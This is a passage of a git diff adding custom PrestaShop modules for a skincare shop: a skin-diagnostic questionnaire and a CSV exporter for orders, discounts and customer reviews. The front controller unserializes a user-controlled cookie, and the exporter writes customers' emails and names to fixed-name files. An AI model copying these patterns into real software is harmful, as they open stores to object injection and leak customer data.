!= false && file_exists(_PS_IMG_DIR_.Configuration::get('PS_LOGO_INVOICE', null, null, (int)$this->order->id_shop))) + $logo = _PS_IMG_DIR_.Configuration::get('PS_LOGO_INVOICE', null, null, (int)$this->order->id_shop); + elseif (Configuration::get('PS_LOGO', null, null, (int)$this->order->id_shop) != false && file_exists(_PS_IMG_DIR_.Configuration::get('PS_LOGO', null, null, (int)$this->order->id_shop))) + $logo = _PS_IMG_DIR_.Configuration::get('PS_LOGO', null, null, (int)$this->order->id_shop); + return $logo; + } +} diff --git a/modules/antadis_diagnostic/controllers/front/display.php b/modules/antadis_diagnostic/controllers/front/display.php new file mode 100755 index 0000000..4260f11 --- /dev/null +++ b/modules/antadis_diagnostic/controllers/front/display.php @@ -0,0 +1,105 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class antadis_diagnosticdisplayModuleFrontController extends ModuleFrontController +{ + public function initContent() + { + parent::initContent(); + $id_lang = $this->context->language->id; + + if($this->errors) + $this->context->smarty->assign('errors', $this->errors); + + $step=(int)Tools::getValue('step',0); + + $arrayRep = array(); + $timestamp_expiration=time()+60*60; + if(!isset($_COOKIE['diagnostic_response'])){ + setcookie("diagnostic_response", serialize($arrayRep),$timestamp_expiration); + } + else{ + $responses = unserialize($_COOKIE['diagnostic_response']); + foreach ($_POST as $key => $value) { + if(preg_match('/^q/' , $key)){ + $responses[str_replace("q", "", $key)] = (int)$value; + } + } + $responses['step'] = $step; + setcookie("diagnostic_response", serialize($responses),$timestamp_expiration); + } + + $sections = Section::getSections($id_lang); + $currentSection = $step; + foreach ($sections as $s) { + if($s['position'] == $step) + $currentSection = $s; + } + + if ($step > 0) { + $questions = Question::getQuestionsByThemePosition($step, $id_lang); + foreach ($questions as $key => $q) { + if($q['is_profil'] == 1) + $reps = Profil::getProfils($id_lang); + else{ + $reps = Response::getResponsesByQuestion($q['id_question'],$id_lang); + } + $questions[$key]['reps'] = $reps ; + } + } + + if((!$currentSection && $currentSection>0) || ($currentSection && !$questions)){ + if(isset($_COOKIE['diagnostic_response'])){ + $responses = unserialize($_COOKIE['diagnostic_response']); + $final = Question::getFinal($responses, $id_lang); + } + } + + if(Tools::getValue('success')) + $this->context->smarty->assign('success', 1); + elseif(Tools::getValue('badmail')) + $this->context->smarty->assign('badmail', 1); + + $this->context->smarty->assign(array( + 'step' => $step, + 'sections' => $sections, + 'currentSection' => $currentSection, + 'questions' => (isset($questions))?$questions:'', + 'final' => (isset($final))?$final:'', + 'responses' => (isset($responses))?$responses:'false', + )); + + $this->setTemplate('display.tpl'); + + } + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'diagnostic.css'); + } + +} \ No newline at end of file diff --git a/modules/antadis_diagnostic/logo.gif b/modules/antadis_diagnostic/logo.gif new file mode 100755 index 0000000..12cd1ae Binary files /dev/null and b/modules/antadis_diagnostic/logo.gif differ diff --git a/modules/antadis_diagnostic/logo.png b/modules/antadis_diagnostic/logo.png new file mode 100755 index 0000000..c6b7e8c Binary files /dev/null and b/modules/antadis_diagnostic/logo.png differ diff --git a/modules/antadis_diagnostic/models/Profil.php b/modules/antadis_diagnostic/models/Profil.php new file mode 100755 index 0000000..7f18d57 --- /dev/null +++ b/modules/antadis_diagnostic/models/Profil.php @@ -0,0 +1,43 @@ + 'diag_profil', + 'primary' => 'id_profil', + 'multilang' => true, + 'fields' => array( + 'id_profil' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString'), + 'description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString'), + ), + ); + + public function getInfosWithValues($type = 'product', $id_lang = 1){ + if ($type == 'product'){ + $sqlProducts = Db::getInstance()->executeS(' + SELECT p.`id_product` as id, pl.`name` as content + FROM `'._DB_PREFIX_.'product` p + LEFT JOIN `'._DB_PREFIX_.'diag_profil_product` pp ON (p.`id_product` = pp.`id_product`) + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (p.`id_product` = pl.`id_product`) + WHERE pp.`id_profil`='.(int)$this->id_profil.' AND pl.`id_lang`='.(int)$id_lang); + + return $sqlProducts; + } + } + + public static function getProfils($id_lang){ + $profils = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT pl.`title`, p.* + FROM '._DB_PREFIX_.'diag_profil p + LEFT JOIN '._DB_PREFIX_.'diag_profil_lang pl on (pl.`id_profil` = p.`id_profil`) + WHERE pl.`id_lang` = '.(int)$id_lang.' + '); + return $profils; + } +} \ No newline at end of file diff --git a/modules/antadis_diagnostic/models/Question.php b/modules/antadis_diagnostic/models/Question.php new file mode 100755 index 0000000..761492a --- /dev/null +++ b/modules/antadis_diagnostic/models/Question.php @@ -0,0 +1,120 @@ + 'diag_question', + 'primary' => 'id_question', + 'multilang' => true, + 'fields' => array( + 'id_question' => array('type' => self::TYPE_INT), + 'id_section' => array('type' => self::TYPE_INT), + 'position' => array('type' => self::TYPE_INT), + 'is_profil' => array('type' => self::TYPE_INT, 'validate' => 'isBool'), + 'title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString'), + ), + ); + + public static function getFinal($responses, $id_lang){ + $final = array(); + $complements = array(); + $products = array(); + $id_products = array(); + $id_profil = 0; + + if(isset($responses) && $responses!='false'){ + + $sqlQuestions = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT q.* + FROM '._DB_PREFIX_.'diag_question q + WHERE 1 + '); + + foreach($sqlQuestions as $key => $q){ + if($q['is_profil'] == 1){ + $id_profil = (int)$responses[$q['id_question']]; + $final['profil'] = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT p.`id_profil`, pl.`title`, pl.`description` + FROM `'._DB_PREFIX_.'diag_profil` p + LEFT JOIN `'._DB_PREFIX_.'diag_profil_lang` pl ON (p.`id_profil` = pl.`id_profil`) + WHERE p.`id_profil`='.(int)$responses[$q['id_question']].' AND pl.`id_lang`='.(int)$id_lang + ); + break; + } + } + foreach($sqlQuestions as $key => $q){ + if($q['is_profil'] == 1){ + $products = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT p.`id_category_default`,p.`ean13`, p.`out_of_stock`, p.`id_product`, pl.`name`, pl.`description_short`, pl.`description`, pl.`link_rewrite`, pl.`video_1` + FROM `'._DB_PREFIX_.'product` p + LEFT JOIN `'._DB_PREFIX_.'diag_profil_product` pp ON (p.`id_product` = pp.`id_product`) + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (p.`id_product` = pl.`id_product`) + WHERE pp.`id_profil`='.(int)$responses[$q['id_question']].' AND pl.`id_lang`='.(int)$id_lang + ); + foreach ($products as $key => $value) { + $id_products[] = $value['id_product']; + } + }elseif(isset($responses[$q['id_question']])){ + $complement = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT p.`id_category_default`,p.`ean13`, p.`out_of_stock`, p.`id_product`, pl.`name`, pl.`description_short`, pl.`description`, pl.`link_rewrite`, pl.`video_1` + FROM `'._DB_PREFIX_.'product` p + LEFT JOIN `'._DB_PREFIX_.'diag_profil_rep_prod` prp ON (p.`id_product` = prp.`id_product`) + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (p.`id_product` = pl.`id_product`) + LEFT JOIN `'._DB_PREFIX_.'diag_response` r ON (r.`id_response` = prp.`id_response`) + WHERE prp.`id_response`='.(int)$responses[$q['id_question']].' AND r.`is_product`=1 AND prp.`id_profil`='.(int)$id_profil.' AND pl.`id_lang`='.(int)$id_lang + ); + if($complement){ + foreach ($complement as $key => $value) { + // pour eviter les doublons + if(!in_array($value['id_product'],$id_products, true)) + $id_products[] = $value['id_product']; + else + unset($complement[$key]); + } + $complements = array_merge($complements, $complement); + } + } + } + + $count_id = array_count_values($id_products); + foreach ($products as $row) { + $id_image = Product::getCover($row['id_product']); + $row['id_image'] = $id_image['id_image']; + $final['product'][] = Product::getProductProperties($id_lang, $row, Context::getContext()); + } + foreach($complements as $key => $row){ + // pour eviter les doublons + if($count_id[$row['id_product']] > 1){ + unset($complements[$key]); + $count_id[$row['id_product']]--; + } + $id_image = Product::getCover($row['id_product']); + $row['id_image'] = $id_image['id_image']; + $final['complement'][] = Product::getProductProperties($id_lang, $row, Context::getContext()); + } + $final['step'] = $responses['step']; + } + return $final; + } + + public static function getQuestionsByThemePosition($step, $id_lang){ + $questions = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT ql.`title`, q.`id_question`, q.`id_section`, q.`is_profil`, q.`position` as question_position, s.`id_section`, s.`position`, sl.`title` as sectionTitle + FROM '._DB_PREFIX_.'diag_question q + LEFT JOIN '._DB_PREFIX_.'diag_question_lang ql on (q.`id_question` = ql.`id_question`) + LEFT JOIN '._DB_PREFIX_.'diag_section s on (s.`id_section` = q.`id_section`) + LEFT JOIN '._DB_PREFIX_.'diag_section_lang sl on (sl.`id_section` = s.`id_section`) + WHERE ql.`id_lang` = '.(int)$id_lang.' AND (s.`position` = '.$step.') AND (sl.`id_lang` = '.$id_lang.') + ORDER BY q.`position` asc + '); + return $questions; + } + +} \ No newline at end of file diff --git a/modules/antadis_diagnostic/models/Response.php b/modules/antadis_diagnostic/models/Response.php new file mode 100755 index 0000000..2b6d1d8 --- /dev/null +++ b/modules/antadis_diagnostic/models/Response.php @@ -0,0 +1,66 @@ + 'diag_response', + 'primary' => 'id_response', + 'multilang' => true, + 'fields' => array( + 'id_response' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'id_question' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'is_product' => array('type' => self::TYPE_INT, 'validate' => 'isBool'), + 'is_lightbox' => array('type' => self::TYPE_INT, 'validate' => 'isBool'), + 'title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString'), + 'text_lightbox' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isCleanHtml'), + ), + ); + + + public function getResponses($is_product = null, $is_lightbox = null, $id_question = FALSE, $id_lang = 1){ + $collection = new Collection('Response', $id_lang); + + if($is_product !== null) + $collection->where('is_product', '=', $is_product); + + if($is_lightbox !== null) + $collection->where('is_lightbox', '=', $is_lightbox); + + if($id_question){ + $collection->where('id_question', '=', $id_question); + } + return $collection->getAll(); + } + + public function getInfosWithValues($type = 'product',$id_profil , $id_lang = 1){ + if ($type == 'product'){ + $sqlProducts = Db::getInstance()->executeS(' + SELECT p.`id_product` as id, pl.`name` as content + FROM `'._DB_PREFIX_.'product` p + LEFT JOIN `'._DB_PREFIX_.'diag_profil_rep_prod` pp ON (p.`id_product` = pp.`id_product`) + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (p.`id_product` = pl.`id_product`) + WHERE pp.`id_response`='.(int)$this->id_response.' AND pp.`id_profil`='.(int)$id_profil.' AND pl.`id_lang`='.(int)$id_lang); + + return $sqlProducts; + } + } + + public static function getResponsesByQuestion($id_question, $id_lang){ + $responses = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT rl.`title`, rl.`text_lightbox`, r.* + FROM '._DB_PREFIX_.'diag_response r + LEFT JOIN '._DB_PREFIX_.'diag_response_lang rl on (rl.`id_response` = r.`id_response`) + WHERE rl.`id_lang` = '.(int)$id_lang.' AND (r.`id_question` = '.$id_question.') + '); + return $responses; + } + +} \ No newline at end of file diff --git a/modules/antadis_diagnostic/models/Section.php b/modules/antadis_diagnostic/models/Section.php new file mode 100755 index 0000000..b1d036b --- /dev/null +++ b/modules/antadis_diagnostic/models/Section.php @@ -0,0 +1,32 @@ + 'diag_section', + 'primary' => 'id_section', + 'multilang' => true, + 'fields' => array( + 'id_section' => array('type' => self::TYPE_INT), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString'), + ), + ); + + public static function getSections($id_lang){ + $sections = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT s.`id_section`, s.`position`, sl.`title` + FROM '._DB_PREFIX_.'diag_section s + LEFT JOIN '._DB_PREFIX_.'diag_section_lang sl on (sl.`id_section` = s.`id_section`) + WHERE sl.`id_lang` = '.(int)$id_lang.' + ORDER BY s.`position` asc + '); + return $sections; + } + +} \ No newline at end of file diff --git a/modules/antadis_diagnostic/views/templates/admin/diagnostic_profil/helpers/form/form.tpl b/modules/antadis_diagnostic/views/templates/admin/diagnostic_profil/helpers/form/form.tpl new file mode 100755 index 0000000..1cb6814 --- /dev/null +++ b/modules/antadis_diagnostic/views/templates/admin/diagnostic_profil/helpers/form/form.tpl @@ -0,0 +1,59 @@ +{extends file="helpers/form/form.tpl"} +{block name="field"} + {if $input.type == 'relation_posts_cms' + || $input.type == 'relation_posts_edito' + || $input.type == 'relation_category_cms' + || $input.type == 'relation_profil_product'} + + {if $input.type == 'relation_posts_cms'} + {assign var="input_action" value="getRelationPostsCms"} + {elseif $input.type == 'relation_posts_edito'} + {assign var="input_action" value="getRelationPostsEdito"} + {elseif $input.type == 'relation_category_cms'} + {assign var="input_action" value="getRelationCategoryCms"} + {elseif $input.type == 'relation_profil_product'} + {assign var="input_action" value="getProducts"} + {/if} +
    + {if !isset($input.id)} + Nécéssite l'identifiant + {/if} + +
    + + + +
    +
    + +
    + {/if} + + {$smarty.block.parent} +{/block} +{block name="other_fieldsets"} +
    +
    + {l s='Product for this Profil'} + +
    + {foreach $input.query as $line} + +
  • {$line.content}
  • + {/foreach} +
    +
    +{/block} +{block name="defaultForm"} + + {$smarty.block.parent} +{/block} \ No newline at end of file diff --git a/modules/antadis_diagnostic/views/templates/admin/diagnostic_question/helpers/form/form_.tpl b/modules/antadis_diagnostic/views/templates/admin/diagnostic_question/helpers/form/form_.tpl new file mode 100755 index 0000000..4be7372 --- /dev/null +++ b/modules/antadis_diagnostic/views/templates/admin/diagnostic_question/helpers/form/form_.tpl @@ -0,0 +1,97 @@ +{extends file="helpers/form/form.tpl"} +{block name="field"} + {if $input.type == 'myInput'} +
    +
    + +
    +
    +
    + + {/if} + {if $input.type == 'responseTitle'} +
    +
    + + +
    +
    + {/if} + {if $input.type == 'responseText'} +
    + +
    +
    + {/if} + + {$smarty.block.parent} +{/block} +{block name="other_fieldsets"} +
    +
    + {l s='Response'} + +
    + +
    +
    +
    +{/block} + +{block name="script"} + var counter = 0; + $('#add_question').click(function(){ + $('#row_question').append("

    "); + counter++; + }); + + function remove_response(element){ + to_remove = $(element).attr('data-counter'); + $('#response_'+to_remove).remove(); + } + + function deleteResponse(element){ + to_delete = $(element).attr('data-id'); + $.ajax({ + type:"POST", + url: "{$link->getAdminLink('AdminDiagnosticQuestion')}", + async: true, + dataType: "json", + data : { + ajax: "1", + token: "{getAdminToken tab='AdminDiagnosticQuestion'}", + tab: "AdminDiagnosticQuestion", + action: "deleteResponse", + id_response: $(element).attr('data-id') + }, + success : function(res) + { + if(res.found) + $('#row_'+to_delete+' > div').append("{l s='Element deleted'} !!"); + else + $('#row_'+to_delete+' > div').append("{l s='Element has not be deleted'}"); + } + }); + } + + {$smarty.block.parent} +{/block} \ No newline at end of file diff --git a/modules/antadis_diagnostic/views/templates/admin/diagnostic_response/helpers/form/form.tpl b/modules/antadis_diagnostic/views/templates/admin/diagnostic_response/helpers/form/form.tpl new file mode 100755 index 0000000..beb101f --- /dev/null +++ b/modules/antadis_diagnostic/views/templates/admin/diagnostic_response/helpers/form/form.tpl @@ -0,0 +1,75 @@ +{extends file="helpers/form/form.tpl"} +{block name="field"} + {if $input.type == 'inputHidden'} + + {/if} + {if $input.type == 'relation_profil_product' + || $input.type == 'relation_response_product'} + + {if $input.type == 'relation_profil_product' || $input.type == 'relation_response_product'} + {assign var="input_action" value="getProducts"} + {/if} +
    + {if !isset($input.id)} + Nécéssite l'identifiant + {/if} + +
    + + + +
    +
    + +
    + {/if} + {$smarty.block.parent} +{/block} +{block name="other_fieldsets"} + {if $response != '' } +
    +
    + {l s='Product for this Profil'} + +
    + {foreach $input.query as $line} + +
  • {$line.content}
  • + {/foreach} +
    +
    + {/if} +{/block} +{block name="defaultForm"} + + {$smarty.block.parent} +{/block} +{block name="script"} + if($('#lightbox_off').prop('checked') == true){ + $('#text_lightbox_1 > textarea').prop('disabled', true); + $('#text_lightbox_2 > textarea').prop('disabled', true); + } + $('#lightbox_on').click(function(){ + $('#text_lightbox_1 > textarea').prop('disabled', false); + $('#text_lightbox_2 > textarea').prop('disabled', false); + }); + $('#lightbox_off').click(function(){ + $('#text_lightbox_1 > textarea').prop('disabled', true); + $('#text_lightbox_2 > textarea').prop('disabled', true); + }); + + {$smarty.block.parent} +{/block} \ No newline at end of file diff --git a/modules/antadis_diagnostic/views/templates/front/display.tpl b/modules/antadis_diagnostic/views/templates/front/display.tpl new file mode 100755 index 0000000..ecb6c1c --- /dev/null +++ b/modules/antadis_diagnostic/views/templates/front/display.tpl @@ -0,0 +1,434 @@ +
    + + {if $step==0} +

    [{l s='Le Diagnostic de peau Garancia'}]

    + {include file="$tpl_dir./errors.tpl"} +
    + {l s='Savéria COSTE' mod='antadis_diagnostic'} +
    +

    {l s='Savéria COSTE' mod='antadis_diagnostic'}, {l s='Docteur en Pharmacie, vous fait partager son expertise pour votre diagnostic de peau.' mod='antadis_diagnostic'}

    +

    {l s='Avez-vous les bons gestes ? Les bonnes routines beauté ?' mod='antadis_diagnostic'}
    {l s='Répondez à ces quelques questions pour avoir un diagnostic clair et précis.' mod='antadis_diagnostic'}

    + {l s='Démarrer le diagnostic' mod='antadis_diagnostic'} +
    +
    + + {else if $final} + +

    [{l s='Votre Diagnostic beauté' mod='antadis_diagnostic'}]

    + {include file="$tpl_dir./errors.tpl"} + +
    +

    {l s='Votre résultat' mod='antadis_diagnostic'}

    +
    +

    {$final['profil'][0]['description']}

    +
    +
    +

    {l s='Votre formule magique' mod='antadis_diagnostic'}

    +
    + +
    +
    + {if $final['complement']} +
    +

    {l s='Pour compléter votre formule' mod='antadis_diagnostic'}

    +
    + +
    +
    + {/if} +

    + {l s='Ajouter la selection à mon panier' mod='antadis_diagnostic'} +

    +
    + +
    + + +
    +
    +
    +
    + + {l s='Share' mod='antadis_diagnostic'} + +

    {l s='Invitez vos amis à faire leur diagnostic' mod='antadis_diagnostic'}

    +
    + + +
    + {literal} + + {/literal} + {else} + +

    [{l s='Diagnostic' mod='antadis_diagnostic'}]

    + {include file="$tpl_dir./errors.tpl"} + +
      + {foreach from=$sections item=s key=key} +
    • {$s['title']}
    • + {/foreach} +
    + +
    + {if $currentSection['id_section'] == 7} + {foreach from=$questions item=q key=k} + {if $q['id_question'] == 10} +
    +

    {$q['title']}

    + +
    +
    +
    + 0 + 1 + 2 + 3 + {*4*} +
    +
    + 0 + 1 + 2 + 3 + {*4*} +
    +
    + + + {else} +
    +

    {$q['title']}

    +

    + {foreach from=$q['reps'] item=r key=key} + {if isset($r['id_profil']) && $r['id_profil']} + + + {elseif isset($r['id_response']) && $r['id_response']} + + {/if} + {* + *}{/foreach} +

    +
    + {/if} + {/foreach} + + {else} + + {foreach from=$questions item=q key=k} +
    +

    {$q['title']}

    +

    + {foreach from=$q['reps'] item=r key=key} + {if isset($r['id_profil']) && $r['id_profil']} + + + {elseif isset($r['id_response']) && $r['id_response']} + + {/if} + {* + *}{/foreach} +

    + {/foreach} + + {/if} + + + + +
    +

    + + {if $step>1} + {l s='Précédente' mod='antadis_diagnostic'} + {/if} +

    +
    + + {foreach from=$questions item=q key=k} + {foreach from=$q['reps'] item=r key=key} + {if isset($r['is_lightbox']) && $r['is_lightbox']== 1}{/if} + {/foreach} + {/foreach} + + + + {/if} + +
    +
    \ No newline at end of file diff --git a/modules/antadis_export/antadis_export.php b/modules/antadis_export/antadis_export.php new file mode 100755 index 0000000..aef6646 --- /dev/null +++ b/modules/antadis_export/antadis_export.php @@ -0,0 +1,39 @@ +name = 'antadis_export'; + $this->tab = 'administration'; + $this->version = '1.0'; + $this->author = 'Antadis'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Antadis Export'); + $this->description = $this->l('Realiser des exports en CSV des commandes'); + $this->secure_key = Tools::encrypt($this->name); + + $this->confirmUninstall = $this->l('Are you sure ?'); + } + + public function install() + { + if (Shop::isFeatureActive()) + Shop::setContext(Shop::CONTEXT_ALL); + + if (!parent::install()) + return false; + + return true; + } + + public function getContent(){ + return true; + } + +} diff --git a/modules/antadis_export/controllers/admin/AdminAntadisExport.php b/modules/antadis_export/controllers/admin/AdminAntadisExport.php new file mode 100755 index 0000000..d64c6e7 --- /dev/null +++ b/modules/antadis_export/controllers/admin/AdminAntadisExport.php @@ -0,0 +1,450 @@ +export = "0"; + parent::__construct(); + } + + public function setMedia(){ + $this->addJquery(); + $this->addJqueryUI('ui.datepicker'); + + parent::setMedia(); + } + + public function display(){ + $this->context->smarty->assign('export', $this->export); + $this->setTemplate('export.tpl'); + + parent::display(); + } + + public function initContent(){ + + if(Tools::isSubmit('submitExportSimple')) + { + $date_from = Tools::getValue('date_from'); + $date_to = Tools::getValue('date_to'); + + $date_start = DateTime::createFromFormat('d/m/Y', $date_from); + $date_end = DateTime::createFromFormat('d/m/Y', $date_to); + + $sql = " + SELECT + CONCAT(c.`lastname`, ' ', c.`firstname`) as name, + o.`total_shipping` as shipping, + co.name as country, + (o.`total_paid_tax_incl` - o.`total_paid_tax_excl`) as tax, + o.`total_paid` as total, + o.`total_discounts` as total_discounts, + o.`total_products` as total_products + FROM `"._DB_PREFIX_."orders` o + LEFT JOIN `"._DB_PREFIX_."customer` c ON c.id_customer = o.id_customer + LEFT JOIN `"._DB_PREFIX_."address` a ON o.id_address_delivery = a.id_address + LEFT JOIN `"._DB_PREFIX_."country_lang` co ON a.id_country = co.id_country + WHERE o.`date_add` BETWEEN \"". $date_start->format('Y-m-d') ." 00:00:00\" AND \"" .$date_end->format('Y-m-d') . " 23:59:59\" + AND o.`valid` = 1 + AND co.id_lang = " . (int) Context::getContext()->language->id; + + $results = Db::getInstance()->executeS($sql); + + if(count($results) > 0) + { + $fp = fopen("export_simple.csv", 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + $header = array( + 'Nom', + 'Frais de port', + 'Pays', + 'Total Taxe', + 'Total TTC', + 'Total HT produit', + 'Reduction TTC', + ); + fputcsv($fp, $header, ';'); + foreach ($results as $result) { + + $fields = array( + $result['name'], + $result['shipping'], + $result['country'], + $result['tax'], + $result['total'], + $result['total_products'], + "-".$result['total_discounts'], + ); + fputcsv($fp, $fields, ';'); + } + fclose($fp); + $this->export = "1"; + } + } + else if(Tools::isSubmit('submitExportProduit')) + { + $date_from = Tools::getValue('date_from'); + $date_to = Tools::getValue('date_to'); + + $date_start = DateTime::createFromFormat('d/m/Y', $date_from); + $date_end = DateTime::createFromFormat('d/m/Y', $date_to); + + $sql = " + SELECT `product_name`, `product_id`, SUM(product_quantity) as q + FROM `"._DB_PREFIX_."order_detail` d + LEFT JOIN `"._DB_PREFIX_."orders` o ON o.id_order = d.id_order + WHERE o.`date_add` BETWEEN \"". $date_start->format('Y-m-d') ." 00:00:00\" AND \"" .$date_end->format('Y-m-d') . " 23:59:59\" + AND o.valid = 1 + GROUP BY `product_id`"; + + $results = Db::getInstance()->executeS($sql); + + $sql_country = 'SELECT id_country + FROM `'._DB_PREFIX_.'order_detail` d + LEFT JOIN `'._DB_PREFIX_.'orders` o ON o.id_order = d.id_order + LEFT JOIN `'._DB_PREFIX_.'address` a ON a.id_address = o.id_address_delivery + WHERE o.`date_add` BETWEEN "'. $date_start->format('Y-m-d') .' 00:00:00" AND "' .$date_end->format('Y-m-d') . ' 23:59:59" + AND o.valid = 1 + GROUP BY id_country'; + $countries = Db::getInstance()->executeS($sql_country); + + $array_country = array(); + $header = array( + 'Nom', + 'Vente en France', + 'Vente export', + 'CA', + ); + + // foreach ($countries as $key => $country) { + // $pays = new Country($country['id_country'], (int) Context::getContext()->language->id); + // $array_country[$country['id_country']] = $pays->name; + // $header[] = $pays->name; + // } + + if(count($results) > 0) + { + $fp = fopen("export_product.csv", 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + + fputcsv($fp, $header, ';'); + + foreach ($results as &$result) { + $fields = array( $result['product_name'] ); + $fields[] = self::getQuantitybyCountry($result['product_id'], 8, $date_start, $date_end); + $fields[] = self::getQuantitybyCountry($result['product_id'], 8, $date_start, $date_end, true); + $fields[] = self::getCAByProduct($result['product_id'], $date_start, $date_end); + + // foreach ($array_country as $key => $country) { + // $fields[] = self::getQuantitybyCountry($result['product_id'], $key, $date_start, $date_end); + // } + fputcsv($fp, $fields, ';'); + } + fclose($fp); + $this->export = "2"; + } + } + else if(Tools::isSubmit('submitExportEmail')) + { + $date_from = Tools::getValue('date_from'); + $date_to = Tools::getValue('date_to'); + + $date_start = DateTime::createFromFormat('d/m/Y', $date_from); + $date_end = DateTime::createFromFormat('d/m/Y', $date_to); + + /* + $sql = "SELECT DISTINCT `customer_email` + FROM `"._DB_PREFIX_."product_comment` pc + WHERE pc.customer_email != ''"; + */ + $sql = "SELECT DISTINCT `id_product`, `title`, `customer_email`, `customer_name`, `customer_surname`, `customer_civilite`, + `customer_age`, `customer_type_de_peau`, `content`, `date_add` + FROM `"._DB_PREFIX_."product_comment` pc + WHERE pc.date_add BETWEEN '". $date_start->format('Y-m-d') ." 00:00:00' AND '".$date_end->format('Y-m-d') . " 23:59:59' + AND pc.customer_email != ''"; + + $results = Db::getInstance()->executeS($sql); + + if (count($results) > 0){ + $fp = fopen("export_email.csv", "w"); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + + $header = array( + 'Produit', + 'Titre du commentaire', + 'Email', + 'Nom', + 'Prenom', + 'genre', + 'age', + 'type de peau', + 'avis', + 'date d\'ajout' + ); + fputcsv($fp, $header, ";"); + + $temp = ""; + foreach($results as $data){ + $temp = self::getProductName($data["id_product"]); + $data["id_product"] = $temp; + fputcsv($fp, $data, ";"); + } + + /* + foreach($results as $data){ + fputcsv($fp, $data, ";"); + } + */ + + fclose($fp); + $this->export = "3"; + } + } elseif (Tools::isSubmit('submitExportDiscount')) { + $date_from = Tools::getValue('date_from'); + $date_to = Tools::getValue('date_to'); + $date_start = DateTime::createFromFormat('d/m/Y', $date_from); + $date_end = DateTime::createFromFormat('d/m/Y', $date_to); + $id_lang = Context::getContext()->language->id; + + $result = Db::getInstance()->executeS(' + SELECT crl.`name`, + SUM(o.`total_paid_real`) as `ca`, + COUNT(ccr.`id_cart_rule`) as `nb_used` + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'cart_cart_rule` ccr + ON (ccr.`id_cart` = o.`id_cart`) + LEFT JOIN `'._DB_PREFIX_.'cart_rule_lang` crl + ON (crl.`id_cart_rule` = ccr.`id_cart_rule` AND crl.`id_lang` = '.$id_lang.') + WHERE o.`date_add` BETWEEN "'.$date_start->format('Y-m-d').' 00:00:00" AND "'.$date_end->format('Y-m-d').' 23:59:59" + AND ccr.`id_cart_rule` IS NOT NULL + AND o.`valid` = 1 + GROUP BY ccr.`id_cart_rule` + ORDER BY `nb_used` + '); + + if (!empty($result)) { + $header = array( + 'Nom du bon de réduction', + 'CA Généré', + 'Nombre d\'utilisation' + ); + $fp = fopen("export_discount.csv", "w"); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + fputcsv($fp, $header, ";"); + + foreach ($result as $i => $row) { + fputcsv($fp, $row, ';'); + } + fclose($fp); + $this->export = '4'; + } + } elseif (Tools::isSubmit('submitExportGlobal')) { + $date_from = Tools::getValue('date_from'); + $date_to = Tools::getValue('date_to'); + $date_start = DateTime::createFromFormat('d/m/Y', $date_from); + $date_end = DateTime::createFromFormat('d/m/Y', $date_to); + $id_lang = Context::getContext()->language->id; + + $sql = ' + SELECT o.`id_order`, o.`reference`, o.`date_add`, o.`invoice_date`, + o.`payment`, + c.`name` as carrier_name, + a.`postcode`, a.`city`, + cl.`name` as `country_name`, + customer.`firstname`, customer.`lastname`, customer.`date_add` as `customer_date_add`, customer.`id_customer`, customer.`email`, customer.`newsletter` + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'carrier` c + ON (c.`id_carrier` = o.`id_carrier`) + LEFT JOIN `'._DB_PREFIX_.'address` a + ON (a.`id_address` = o.`id_address_delivery`) + LEFT JOIN `'._DB_PREFIX_.'country_lang` cl + ON (cl.`id_country` = a.`id_country` AND cl.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'customer` customer + ON (customer.`id_customer` = o.`id_customer`) + WHERE o.`date_add` BETWEEN "'.$date_start->format('Y-m-d').' 00:00:00" AND "'.$date_end->format('Y-m-d').' 23:59:59" + AND o.`valid` = 1 + ORDER BY o.`date_add` ASC + + '; + $result = Db::getInstance()->executeS($sql); + $header = array('ID commande', 'Référence commande', 'Nouveau client', 'Nom', 'Prénom', + 'Date création compte', 'mois création compte', 'année création compte', + 'Date paiement accepté', 'mois commande', 'année commande', 'email', + 'NL O/N', 'Mode paiement', 'transporteur', 'code postal livraison', 'ville livraison', + 'pays livraison', 'réf produit commandé', 'Désignation Produit commandé', + 'gamme produit', 'type produit', 'Qté commandé', 'CA'); + + $fp = fopen("export_global.csv", "w"); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + fputcsv($fp, $header, ";"); + foreach ($result as $row) { + $order = new Order($row['id_order']); + $products = $order->getProducts(); + $isNewCustomer = Db::getInstance()->getValue(' + SELECT COUNT(`id_order`) > 1 + FROM 